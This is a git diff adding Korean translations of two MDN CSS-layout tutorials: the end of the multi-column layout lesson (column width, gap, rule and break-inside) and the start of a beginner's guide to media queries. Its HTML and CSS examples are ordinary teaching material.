+  quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+  &lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique
+  elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit
+  cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis
+  dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.container {
+  column-count: 3;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('다단_1', '100%', 400) }}</p>
+
+<p>다음과 같이 <code>column-width</code>를 사용하여 당신의 CSS를 변경하세요:</p>
+
+<pre class="brush: css">.container {
+  column-width: 200px;
+}
+</pre>
+
+<p>이제 브라우저는 당신이 지정한 크기의 단을 최대한 많이 제공합니다. 남은 공간은 현존하는 단 사이 공평하게 배분됩니다. 즉, 컨테이너가 해당 너비로 정확히 나뉠 수 없는 경우를 제외하고는 지정한 너비를 정확히 얻을 수 없습니다.</p>
+
+<div id="다단_2">
+<div class="hidden">
+<h6 id="단_너비_예제">단 너비 예제</h6>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 2em auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif;
+}</pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;h1&gt;간단한 다단 예제&lt;/h1&gt;
+
+  &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate.
+  Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
+  Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse
+  ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit
+  quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+  &lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique
+  elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit
+  cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis
+  dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+&lt;/div&gt;</pre>
+</div>
+
+<pre class="brush: css">.container {
+  column-width: 200px;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('다단_2', '100%', 400) }}</p>
+
+<h2 id="다단_스타일링">다단 스타일링</h2>
+
+<p>다단으로 작성된 단은 개별적으로 스타일링할 수 없습니다. 하나의 단을 다른 단보다 크게 만들거나 단일 단의 배경 또는 텍스트 색상을 변경할 수 있는 방법이 없습니다. 단이 표시되는 방식을 바꿀 수 있는 기회는 두 가지가 주어집니다.</p>
+
+<ul>
+ <li>{{cssxref("column-gap")}}를 사용해 다단 사이 간격의 크리를 변경하기.</li>
+ <li>{{cssxref("column-rule")}}를 가지고 다단 사이 규칙을 추가하기.</li>
+</ul>
+
+<p>상기 예제 용례에서 <code>column-gap</code> 속성을 추가해 간격의 크기를 변경하세요:</p>
+
+<pre class="brush: css">.container {
+  column-width: 200px;
+  column-gap: 20px;
+}</pre>
+
+<p>서로 다른 값을 가지고 마음대로 부릴 수 있습니다. 모든 길이 단위를 속성이 허용한다는 말입니다. 이제 <code>column-rule</code>를 가지고 다단 사이 규칙을 추가하세요. 이전 단원에서 접했던 {{cssxref("border")}} 속성과 비슷한 방식으로 <code>column-rule</code>는 {{cssxref("column-rule-color")}}와 {{cssxref("column-rule-style")}} {{cssxref("column-rule-width")}}의 약칭이며 <code>border</code>와 동일한 값을 허용합니다.</p>
+
+<pre class="brush: css">.container {
+  column-count: 3;
+  column-gap: 20px;
+  column-rule: 4px dotted rgb(79, 185, 227);
+}</pre>
+
+<p>다른 스타일과 색상 규칙을 추가하세요</p>
+
+<div id="다단_3">
+<div class="hidden">
+<h6 id="다단_스타일링_2">다단 스타일링</h6>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 2em auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif;
+}
+.container {
+ column-count: 3;
+ column-gap: 20px;
+ column-rule: 4px dotted rgb(79, 185, 227);
+}</pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;h1&gt;간단한 다단 예제&lt;/h1&gt;
+
+  &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate.
+  Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.
+  Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse
+  ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit
+  quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.&lt;/p&gt;
+
+  &lt;p&gt;Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique
+  elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit
+  cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis
+  dis parturient montes, nascetur ridiculus mus.&lt;/p&gt;
+&lt;/div&gt;</pre>
+</div>
+</div>
+
+<p>{{ EmbedLiveSample('다단_3', '100%', 400) }}</p>
+
+<p>주목할 점은 규칙이 자체적으로 폭을 점유하지 않는다는 것입니다. 규칙이 적용된 내용은 당신이 <code>column-gap</code>으로 생성된 간격을 가로질러 놓여 있습니다. 규칙을 따라 양쪽에 더 많은 공간을 만들려면 <code>column-gap</code> 크기를 늘려야 합니다.</p>
+
+<h2 id="Spanning_columns">Spanning columns</h2>
+
+<p>다단 레이아웃에 의해 콘텐츠가 span across 됩니다. 그것은 본질적으로 페이지 미디어상에 콘텐츠가 작동하는 것과 같은 방식으로 작동합니다. 예를 들면 웹페이지 인쇄가 그렇습니다. 콘텐츠를 다단 컨테이너로 만들면 다단으로 나눠지고, 그것이 가능해진 결과로 콘텐츠는 깨집니다.</p>
+
+<p>때때로, 이런 깨짐 현상은 발생하는 위치에 따라 독서를 저해하는 경험을 낳을 것입니다. 아래의 실제 사용례에서 나는 다단을 사용하여 일련의 상자를 배치했는데, 각각에는 머리글과 약간의 텍스트가 들어 있습니다. 다단 사이가 단편화할 경우 제목은 텍스트와 분리됩니다.</p>
+
+<div id="다단_4">
+<div class="hidden">
+<h6 id="카드_용례">카드 용례</h6>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 2em auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif;
+}            </pre>
+</div>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;div class="card"&gt;
+    &lt;h2&gt;나는 머리글이다.&lt;/h2&gt;
+    &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.&lt;/p&gt;
+    &lt;/div&gt;
+
+    &lt;div class="card"&gt;
+      &lt;h2&gt;나는 머리글이다.&lt;/h2&gt;
+      &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.&lt;/p&gt;
+    &lt;/div&gt;
+
+    &lt;div class="card"&gt;
+      &lt;h2&gt;나는 머리글이다.&lt;/h2&gt;
+      &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.&lt;/p&gt;
+    &lt;/div&gt;
+    &lt;div class="card"&gt;
+      &lt;h2&gt;나는 머리글이다.&lt;/h2&gt;
+      &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.&lt;/p&gt;
+    &lt;/div&gt;
+
+    &lt;div class="card"&gt;
+      &lt;h2&gt;나는 머리글이다.&lt;/h2&gt;
+      &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.&lt;/p&gt;
+    &lt;/div&gt;
+
+    &lt;div class="card"&gt;
+      &lt;h2&gt;나는 머리글이다.&lt;/h2&gt;
+      &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.&lt;/p&gt;
+    &lt;/div&gt;
+
+    &lt;div class="card"&gt;
+      &lt;h2&gt;나는 머리글이다.&lt;/h2&gt;
+      &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.&lt;/p&gt;
+    &lt;/div&gt;
+
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.container {
+  column-width: 250px;
+  column-gap: 20px;
+}
+
+.card {
+  background-color: rgb(207, 232, 220);
+  border: 2px solid rgb(79, 185, 227);
+  padding: 10px;
+  margin: 0 0 1em 0;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('다단_4', '100%', 600) }}</p>
+
+<p>이러한 동작을 제어하기 위해 <a href="/en-US/docs/Web/CSS/CSS_Fragmentation">CSS 붕괴</a> 규격에 있는 속성을 사용할 수 있습니다. 우리는 이 규격에 있는 속성을 통해 다단과 페이지 미디어에 포함된 콘텐츠가 깨지는 것을 제어할 수 있습니다. 예를 들어, <code>.card</code> 클래스에 대한 규칙에 <code>avoid</code> 값을 사용한 {{cssxref("break-inside")}}을 추가하세요. 이것은 머리글과 텍스트로 구성된 컨테이너입니다. 따라서 우리는 이 상자를 분열하고 싶지 않습니다.</p>
+
+<p>현 시점에 이전 속성인 <code>page-break-inside: avoid</code>을 최상의 브라우저 지원을 위해 추가할 가치가 있습니다.</p>
+
+<pre class="brush: css">.card {
+  break-inside: avoid;
+  page-break-inside: avoid;
+  background-color: rgb(207,232,220);
+  border: 2px solid rgb(79,185,227);
+  padding: 10px;
+  margin: 0 0 1em 0;
+}
+</pre>
+
+<p>페이지를 새로고침하면 상자가 하나의 형태를 갖추고 있어야 합니다.</p>
+
+<div id="다단_5">
+<div class="hidden">
+<h6 id="다단_단편">다단 단편</h6>
+
+<pre class="brush: css">body {
+  width: 90%;
+  max-width: 900px;
+  margin: 2em auto;
+  font: .9em/1.2 Arial, Helvetica, sans-serif;
+}              </pre>
+
+<pre class="brush: html">&lt;div class="container"&gt;
+  &lt;div class="card"&gt;
+    &lt;h2&gt;나는 머리글이다.&lt;/h2&gt;
+    &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.&lt;/p&gt;
+    &lt;/div&gt;
+
+    &lt;div class="card"&gt;
+      &lt;h2&gt;나는 머리글이다.&lt;/h2&gt;
+      &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.&lt;/p&gt;
+    &lt;/div&gt;
+
+    &lt;div class="card"&gt;
+      &lt;h2&gt;나는 머리글이다.&lt;/h2&gt;
+      &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.&lt;/p&gt;
+    &lt;/div&gt;
+    &lt;div class="card"&gt;
+      &lt;h2&gt;나는 머리글이다.&lt;/h2&gt;
+      &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.&lt;/p&gt;
+    &lt;/div&gt;
+
+    &lt;div class="card"&gt;
+      &lt;h2&gt;나는 머리글이다.&lt;/h2&gt;
+      &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.&lt;/p&gt;
+    &lt;/div&gt;
+
+    &lt;div class="card"&gt;
+      &lt;h2&gt;나는 머리글이다.&lt;/h2&gt;
+      &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.&lt;/p&gt;
+    &lt;/div&gt;
+
+    &lt;div class="card"&gt;
+      &lt;h2&gt;나는 머리글이다.&lt;/h2&gt;
+      &lt;p&gt; Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat
+                vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies
+                tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci
+                vel, viverra egestas ligula.&lt;/p&gt;
+    &lt;/div&gt;
+
+&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: css">.container {
+  column-width: 250px;
+  column-gap: 20px;
+}
+
+.card {
+  break-inside: avoid;
+  page-break-inside: avoid;
+  background-color: rgb(207, 232, 220);
+  border: 2px solid rgb(79, 185, 227);
+  padding: 10px;
+  margin: 0 0 1em 0;
+}</pre>
+</div>
+
+<p>{{ EmbedLiveSample('다단_5', '100%', 600) }}</p>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>이제 당신이 현재 설계 중인 레이아웃 메서드를 선택할 때 맘껏 사용할 수 있는 다단 레이아웃의 기본 기능과 다른 도구를 사용하는 방법을 알게 되었습니다.</p>
+
+<h2 id="참조_항목">참조 항목</h2>
+
+<ul>
+ <li><a href="/kr/docs/Web/CSS/CSS_Fragmentation">CSS 붕괴</a></li>
+ <li><a href="/kr/docs/Web/CSS/CSS_Columns/Using_multi-column_layouts">다단 레이아웃 사용하기</a></li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout")}}</p>
+
+<h2 id="이번_단위에는">이번 단위에는</h2>
+
+<ul>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Introduction">CSS 레이아웃 소개</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/일반_흐름">일반 대열</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Flexbox">flexbox</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Grids">그리드</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/위치잡기">위치잡기</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">다단 레이아웃</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/반응형_디자인">반응형 디자인</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서">미디어 쿼리 초보자 안내서</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/레거시_조판_메서드">레거시 레이아웃 메서드</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/%EC%9D%B4%EC%A0%84_%EB%B8%8C%EB%9D%BC%EC%9A%B0%EC%A0%80_%EC%A7%80%EC%9B%90">이전 브라우저 지원</a></li>
+ <li><a href="/ko/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">레이아웃 이해도 필수 평가</a></li>
+</ul>
diff --git a/files/ko/learn/css/css_layout/미디어_쿼리_초보자_안내서/index.html b/files/ko/learn/css/css_layout/미디어_쿼리_초보자_안내서/index.html
new file mode 100644
index 0000000000..cf13a1421c
--- /dev/null
+++ b/files/ko/learn/css/css_layout/미디어_쿼리_초보자_안내서/index.html
@@ -0,0 +1,424 @@
+---
+title: 미디어 쿼리 초보자 안내서
+slug: Learn/CSS/CSS_layout/미디어_쿼리_초보자_안내서
+tags:
+  - 미디어 쿼리
+  - 씨에스에스
+  - 조판
+  - 초보자
+  - 학습
+translation_of: Learn/CSS/CSS_layout/Media_queries
+---
+<p>{{learnsidebar}}{{PreviousMenuNext("Learn/CSS/CSS_layout/Responsive_Design", "Learn/CSS/CSS_layout/Legacy_Layout_Methods", "Learn/CSS/CSS_layout")}}</p>
+
+<p><strong>CSS Media Query</strong>는 예를 들어 "뷰포트가 480 픽셀보다 넓다."라고 여러분이 지정한 규칙에 브라우저 및 장치 환경이 일치하는 경우에만 씨에스에스를 적용할 수 있는 방법을 제공합니다. 미디어 쿼리는 반응형 웹 디자인의 핵심 부분이다. 뷰포트의 크기에 따라 서로 다른 조판을 생성할 수 있기 때문이다. 그러나 예를들면 사용자는 마우스가 아닌 터치스크린을 사용하는지와 같이 실행 중인 사이트 환경에 대한 여러 내용들을 탐지하는 데도 사용할 수 있습니다. 이번 단원에서는 먼저 미디어 쿼리에 사용된 구문에 대해 배우고, 이어 해당 구문을 가공의 예제에서 사용하여 간단한 디자인이 어떻게 반응할 수 있는지 살펴보겠습니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선결 사항:</th>
+   <td>에이치티엠엘의 기초인 (<a href="/ko/docs/Learn/HTML/Introduction_to_HTML">에이치티엠엘 입문서</a>를 공부하세요), 그리고 씨에스에스의 작동 방식을 파악하기 위해 (<a href="/en-US/docs/Learn/CSS/First_steps">씨에스에스 첫걸음</a>과 <a href="/ko/docs/Learn/CSS/Building_blocks">씨에스에스 구성 블록</a>를 공부하세요.)</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>미디어 쿼리를 사용하는 방법과 그걸 이용해 반응형 디자인을 생성하기 위한 가장 대표적인 접근법 파악하기.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="미디어_쿼리_기본">미디어 쿼리 기본</h2>
+
+<p>가장 간단한 미디어 쿼리 구문은 다음과 같습니다:</p>
+
+<pre class="brush: css">@media <em>media-type</em> and (<em>media-feature-rule</em>) {
+  /* CSS rules go here */
+}</pre>
+
+<p>미디어 쿼리 구문의 구성 요소:</p>
+
+<ul>
+ <li>여기 코드가 어떤 미디어를 위한 것인지 브라우저에 알려주는 미디어 유형(예를 들어, 인쇄 또는 화면).</li>
+ <li>괄호로 묶은 씨에스에스 규칙이 적용되기 위해 전달되어야 하는 규칙 또는 조건문 격인 미디어 표현식.</li>
+ <li>조건문을 통과하고 미디어 유형이 올바른 경우 적용되는 씨에스에스 규칙 집합.</li>
+</ul>
+
+<h3 id="미디어_유형">미디어 유형</h3>
+
+<p>당신이 지정할 수 있는 미디어 유형</p>
+
+<ul>
+ <li><code>all</code></li>
+ <li><code>print</code></li>
+ <li><code>screen</code></li>
+ <li><code>speech</code></li>
+</ul>
+
+<p>다음 미디어 쿼리는 페이지가 인쇄된 경우에만 본문을 12pt로 설정합니다. 페이지가 브라우저에 로드될 때에는 적용되지 않습니다.</p>
+
+<pre class="brush: css"><code>@media print {
+    body {
+        font-size: 12pt;
+    }
+}</code></pre>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 수준 3 미디어 쿼리 규격에 정의된 여러 가지 다른 미디어 유형이 있습니다. 이들은 사장되었으니 피해야 합니다.</p>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 미디어 유형은 선택사항입니다. 미디어 쿼리에 미디어 유형을 표시하지 않으면 미디어 쿼리는 기본값으로 모든 미디어 유형에 대한 것으로 해석됩니다.</p>
+</div>
+
+<h3 id="미디어_기능_규칙">미디어 기능 규칙</h3>
+
+<p>미디어 유형을 지정한 뒤에 규칙을 적용할 미디어 기능을 선정할 수 있습니다.</p>
+
+<h4 id="너비와_높이">너비와 높이</h4>
+
+<p>반응형 디자인을(그리고 광범위한 브라우저 지원이 되도록) 만들기 위해 가장 자주 탐문하는 기능은 뷰포트 너비이며, <code>min-width</code>와 <code>max-width</code>, <code>width</code> 등의 미디어 기능을 활용하여 뷰포트가 특정 너비 이상 또는 이하인 경우 씨에스에스를 적용할 수 있습니다.</p>
+
+<p>이러한 특징들은 다른 화면 크기에 반응하는 조판을 생성하는 데 사용됩니다. 예를 들어 뷰포트가 정확히 600픽셀인 경우 본문 색상을 빨간색으로 변경하려면 다음과 같은 미디어 쿼리를 사용합니다.</p>
+
+<pre class="brush: css"><code>@media screen and (width: 600px) {
+    body {
+        color: red;
+    }
+}</code></pre>
+
+<p><a href="https://mdn.github.io/css-examples/learn/media-queries/width.html">이 예제를</a> 브라우저에서 열거나 <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/width.html">소스를 보세요</a>.</p>
+
+<p><code>width</code>(및 <code>height</code>) 미디어 기능은 범위 지정에 사용될 수 있다. 따라서 <code>min-</code> or <code>max-</code> 접두사를 붙이게 되면 최소값인지 최대값인지 표시할 수 있다. 예를 들어 뷰포트가 400 픽셀보다 좁은 경우 색깔을 파란색으로 만들기 위해 <code>max-width</code>:를 사용할 수 있다.</p>
+
+<pre class="brush: css"><code>@media screen and (max-width: 400px) {
+    body {
+        color: blue;
+    }
+}</code></pre>
+
+<p><a href="https://mdn.github.io/css-examples/learn/media-queries/max-width.html">이 예제를</a>를 브라우저에서 열거나 <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/max-width.html">소스를 보세요</a>.</p>
+
+<p>실제로 최소값 또는 최대값을 사용하는 것이 반응형 디자인인 경우에 훨씬 유용하므로 <code>width</code> 또는 <code>height</code> 값을 사용하는 경우는 좀처럼 흔치앖습니다.</p>
+
+<p>미디어 쿼리 규격 수준 4 및 5에 소개된 최신 기능 중 일부가 제한적으로 브라우저 지원이 되지만, 당신이 테스트할 수 있는 다른 여러 미디어 기능이 있습니다. 각 기능은 브라우저 지원 정보와 함께 MDN에 문서화되어 있으니만큼 당신은 <a href="/en-US/docs/Web/CSS/Media_Queries/Using_media_queries#Media_features">미디어 쿼리 사용: 미디어 기능</a>에서 전체 목록을 찾을 수 있습니다.</p>
+
+<h4 id="방향성">방향성</h4>
+
+<p>잘 지원되는 미디어 기능 중 하나는 <code>orientation</code>로 세로 모드인지 가로 모드인지를 검사할 수 있도록 해줍니다. 장치가 가로 방향에 있는 경우 본문 텍스트 색상을 변경하려면 다음과 같은 미디어 쿼리를 사용합니다.</p>
+
+<pre class="brush: css"><code>@media (orientation: landscape) {
+    body {
+        color: rebeccapurple;
+    }
+}</code></pre>
+
+<p><a href="https://mdn.github.io/css-examples/learn/media-queries/orientation.html">이 예제를</a> 브라우저에서 열거나 <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/orientation.html">소스를 보세요</a>.</p>
+
+<p>표준 데스크톱 뷰에는 가로 방향이 주종을 이루고 있으며, 이 가로 방향에서 잘 작동하는 디자인은 휴대폰 또는 태블릿상에서 세로 모드로 볼 때 잘 작동하지 않을 수 있습니다. (가로/세로 모드의) 방향성 테스트는 여러분이 세로 모드의 장치에 최적화된 조판을 생성할 수 있게 도움을 줄 수 있습니다.</p>
+
+<h4 id="포인팅_장치의_사용">포인팅 장치의 사용</h4>
+
+<p>수준 4 규격의 일부로 <code>hover</code> 미디어 기능이 도입되었다. 이 기능은 사용자가 요소 위에 (마우스 커서를) 올릴 수 있는 능력을 가진 조건인지를 시험할 수 있다는 것을 의미합니다. 본질적으로 사람들이 어떤 종류의 포인팅 장치를 사용하는지를 말합니다. 터치 스크린 및 키보드 네비게이션은 요소 위에 식별자를 올릴 수 없습니다.</p>
+
+<pre class="brush: css"><code>@media (hover: hover) {
+    body {
+        color: rebeccapurple;
+    }
+}</code></pre>
+
+<p><a href="https://mdn.github.io/css-examples/learn/media-queries/hover.html">이 예제를</a> 브라우저에서 열거나 <a href="https://github.com/mdn/css-examples/blob/master/learn/media-queries/hover.html">소스를 보세요</a>.</p>
+
+<p>사용자가 포인팅 장치를 사용할 수 없다고 파악했다면 기본적으로 대화형 기능을 표시할 수 있습니다. 포인팅 장치를 사용할 수 있는 사용자의 경우 링크에 마우스를 올리는 기능을 이용하도록 선택할 수 있습니다.</p>
+
+<p>마찬가지로 <code>pointer</code> 미디어 기능이 수준 4 규격에 포함되어 있다. 이것은 <code>none</code>과 <code>fine</code> <code>coarse</code>의 세 가지 값을 취할 수 있다. <code>fine</code> 포인터는 마우스나 트랙패드와 같은 것이다. 이 값으로 사용자가 작은 영역을 정확하게 공략할 수 있게 된다. <code>coarse</code> 포인터는 터치스크린상에 손가락을 말한다. <code>none</code> 값은 사용자가 포인팅 장치가 없다는 의미이다. 아마도 키보드 단독 또는 음성 명령으로 탐색하고 있다고 하겠다.</p>
+
+<p><code>pointer</code> 사용이 당신에게 주는 잇점이 있다면 사용자가 화면상에서 상호 작용하는 유형에 반응하는 더 나은 인터페이스를 설계할 수 있다는 것입니다. 예를 들어, 사용자가 터치스크린으로 장치와 상호 작용하고 있다는 것을 알면 히트 영역을 더 크게 만들 수 있습니다.</p>
+
+<h2 id="더_복잡한_미디어_쿼리">더 복잡한 미디어 쿼리</h2>
+
+<p>당신은 가능한 모든 이종의 미디어 쿼리를 가지고 그것들을 결합하거나, 쿼리 목록을 만들고 싶을 수도 있다. 그 중 어느 경우가 (조건문과) 일치할 수 있습니다.</p>
+
+<h3 id="논리곱_미디어_쿼리">"논리곱" 미디어 쿼리</h3>
+
+<p><code>and</code>를 사용해 미디어 기능을 결합할 수 있습니다. 이는 마치 앞에서 미디어 유형과 기능을 결합하기 위해 <code>and</code>를 사용했던 방식과 같습니다. 예를 들어, <code>min-width</code>와 <code>orientation</code>의 논리곱 조건을 테스트해보고 싶을 수도 있습니다. 여기서 에이치티엠엘 본문 텍스트가 파란색이 되는 유일한 경우는 뷰포트의 너비가 최소 400픽셀 이상이고 장치가 가로 모드인 경우에만 해당합니다.</p>
+
+<pre class="brush: css"><code>@media screen and (min-width: 400px) and (orientation: landscape) {
+    body {
+        color: blue;
+    }
+}</code></pre>
+
